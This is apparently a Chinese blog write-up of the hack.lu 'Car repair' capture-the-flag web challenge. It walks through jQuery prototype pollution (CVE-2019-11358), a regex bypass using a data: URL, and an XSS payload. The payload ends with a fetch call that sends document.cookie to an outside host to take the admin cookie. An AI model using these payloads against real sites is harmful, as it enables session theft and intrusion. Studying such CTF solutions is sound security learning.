hack.lu

Car repair

js题目,car.class.js定义car类的方法,util.js调用函数

//car.class.js
class Car {
    constructor(type, model, color, pic, key="") {
        this.type = type
        this.model = model
        this.color = color
        this.key = key
        this.pic = pic

        let started = false
        this.start = () => {
            started = true
        }
        this.isStarted = () => {
            return started
        }
    }
    powerOn() {
        if (this.isStarted()) {
            infobox(`Well Done!`)
            nextCar()

        } else {
            infobox(`powerOn fail!`)
            //$('.chargeup')[0].play()
        }
    }
    info() {
        infobox(`This car is a ${this.type} ${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`)
    }
    repair() {
        if(urlParams.has('repair')) {
            $.extend(true, this, JSON.parse(urlParams.get('repair')))
        }
    }
    light() {
        infobox(`You turn on the lights ... Nothing happens.`)
    }
    battery() {
        infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`)
    }
    ignition() {
        if (this.key == "") {
            infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
        }
        if (this.key == "🔑") {
            infobox(`The car started!`)
            this.start()
        }
    }
}
//util.js
const urlParams = new URLSearchParams(window.location.search)
const h = location.hash.slice(1)
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')

const cars = [bugatti, porsche]

porsche.repair = () => {
    if(!bugatti.isStarted()){
        infobox(`Not so fast. Repair the other car first!`)
    }
    else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
        if(urlParams.has('help')) {
            repairWithHelper(urlParams.get('help'))
        }
    }
    else{
        infobox(`Repairing this is not that easy.`)
    }
}
porsche.ignition = () => {
    infobox(`Hmm ... WTF!`)
}

$(document).ready(() => {
    const [car] = cars
    console.log(car)
    $('.fa-power-off').click(() => car.powerOn())
    $('.fa-car').click(() => car.info())
    $('.fa-lightbulb-o').click(() => car.light())
    $('.fa-battery-quarter').click(() => car.battery())
    $('.fa-key').click(() => car.ignition())
    $('.fa-wrench').click(() => car.repair())

    $('.fa-step-forward').click(() => nextCar())

    if(h.includes('Bugatti'))
        autoStart(bugatti)
    if(h.includes('Porsche'))
        autoStart(porsche)
})


const nextCar = () => {
    cars.push(cars.shift())
    $(".image").attr('src', cars[0].pic);
}


const autoStart = (car) => {
    car.repair()
    car.ignition()
    car.powerOn()
}


const repairWithHelper = (src) => {
    console.log("repairWithHelper")
    //url = https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/
    /* who needs csp anyways !? */
    urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}


const infobox = (text) => {
    $('a').css({'pointer-events': 'none', 'border': 'none'})
    $('.infobox').addClass('infoAnimate')
        .text(text)
        .on('animationend', function() {
            $(this).removeClass('infoAnimate')
            $('a').css({'pointer-events': 'all', 'border': 'solid 1px rgba(255, 255, 255, .25)'})
    })

}

代码逻辑

Jquery加载完dom之后,创建两个Car类的对象 bugattiporsche,设h为锚点的值,判断是否包含bugattiporsche 字符串,并对相应的对象执行autoStart函数。

const urlParams = new URLSearchParams(window.location.search)
const h = location.hash.slice(1)
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')
const cars = [bugatti, porsche]
...
if(h.includes('Bugatti'))
    autoStart(bugatti)
if(h.includes('Porsche'))
    autoStart(porsche)
...
const autoStart = (car) => {
    car.repair()
    car.ignition()
    car.powerOn()
}

其中porsche类的ignition、repair会被改写。其中,在porsche.repair()方法中调用了repairWithHelper函数,这个关键函数存在xss

porsche.repair = () => {
    if(!bugatti.isStarted()){
        infobox(`Not so fast. Repair the other car first!`)
    }
    else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
        if(urlParams.has('help')) {
            repairWithHelper(urlParams.get('help'))
        }
    }
    else{
        infobox(`Repairing this is not that easy.`)
    }
}

调用链

1、需要先repair第一辆名为”Bugatti”的车,改变bugatti.key = 🔑
2、使$.md5(porsche) == ‘9cdfb439c7876e703e307864c9167a15’
3、在repairWithHelper函数中存在script的src可控的情况,可以进行xss

修改key值

由于Car类内部ignition()方法调用了$extend,同时获取url参数repair用来合并Car类内属性,那么就可以通过传参覆盖key的值,因此构造repair={"key":"%F0%9F%94%91"}就能轻松过第一个步骤

repair() {
    if(urlParams.has('repair')) {
        $.extend(true, this, JSON.parse(urlParams.get('repair')))
    }
}

$.extend(true, object1 , object2)可以将object2合并到object1

污染继承链

先将’9cdfb439c7876e703e307864c9167a15’解码得到lol

同时$.extend()方法也存在原型链污染问题,CVE-2019-11358。( jquery version: 3.3.1)

可以将$.md5(porsche) == ​$.md5(“lol”)

$.md5(porsche)
"1441a7909c087dbbe7ce59881b9df8b9"
porsche.toString()
"[object Object]"
$.md5('[object Object]')
"1441a7909c087dbbe7ce59881b9df8b9"

因为$.md5是对string类型的变量进行加密,那么传入的参数为对象时,就会经过类型的转换。

首先会对当前变量进行toString(),由于porsche这个对象没有toString()方法,按照Javascript的继承就会向上查找原原型 __proto__ (Car对象)是否有 toString(),Car对象也没有 toString(),再向上查找到 (Object对象),存在 toString(),调用并返回字符串:[object Object]

bugatti.toString()
"[object Object]"
porsche.toString()
"[object Object]"
["lol"].toString()
"lol"
bugatti.__proto__.__proto__=["lol"]
["lol"]
porsche.toString()
"lol"

Javascript的Array类型的toString方法会返回数组内容

因此,既然是将porsche对象进行$.md5的取值,那么我们污染bugatti的继承链中的Car类的__proto__,使其为数组[“lol”],那么在porsche的toString()在向上寻找调用的时候也同样会返回”lol”,而不是到达顶端Object原型的toString()方法。

构造如下payload

?repair={"key":"%F0%9F%94%91","__proto__":{"__proto__":["lol"]}}#PorscheBugatti

repairWithHelper函数

help参数的引入script标签的src

const repairWithHelper = (src) => {
    /* who needs csp anyways !? */
    urlRegx = /^w{4,5}://car-repair-shop.fluxfingersforfuture.fluxfingers.net/[wd]+/.+.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}

由于w{4,5}使得协议可控,用data://作为资源加载恶意的xss,

data-URL 符合格式 data:[mime][;charset=][;base64], 例:data:image/png;base64,iVBORw0KG...

同时data不关心mime的类型,使得我们可以把白名单的host放到mime的位置。其实对于src这个属性来说,应该是都支持data资源的调用。最终payload如下:

?help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/x/,alert('xss')//.js&repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}#BugattiPorsche
执行xss:fetch(%22https://raohh.cn:2333/%22%2Bdocument.cookie) 获得admin cookie

文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
 上一篇
RSA整理 RSA整理
RSA百越杯math题目,给了n1,n,和密文flag,公钥e。 from libnum import * from Crypto.Util.number import * from gmpy2 import next_prime from
2019-11-13
下一篇 
unctf writeup unctf writeup
unctf2019审计一下世界上最好的语言(代码审计)看一下源码,文件命令如下,flag在flag.php里。是海洋cms,这个cms解析模版,会调用eval,之前爆cve bbcode_parse.php common.php index
2019-11-07
  目录